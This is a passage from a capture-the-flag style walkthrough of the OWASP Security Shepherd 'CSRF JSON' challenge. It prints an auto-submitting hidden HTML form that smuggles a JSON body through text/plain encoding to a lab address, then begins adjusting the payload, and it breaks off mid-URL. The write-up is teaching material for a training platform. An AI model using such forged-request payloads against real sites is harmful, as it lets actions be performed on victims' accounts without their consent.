OWASP Security Shepherd Project - CSRF JSON (CSRF Challenge)
Challenge Solution In this challenge, we need to send the userId in JSON format. By googling, there is a nice blog (Open Security Research) showing us how to make a JSON format payload via POST form. We could still try by ourselves first. Try making the form as the followings: <form name="evilForm" action=" https://192.168.1.5/user/csrfchallengejson/plusplus" method="POST" enctype="text/plain"> <input type="hidden" name='{"userId":637e8d2e65542fe82fe6da3b0356bc0865b0b791}' /> <input type="submit"/> </form> <script>document.evilForm.submit();</script> We get an error message! Let's see what HTTP request do we send. By the graph above, we know that we should find a way to eliminate the ' = ' at the end of payload. What if we make it as the followings: <form name="evilForm" action=" https://192.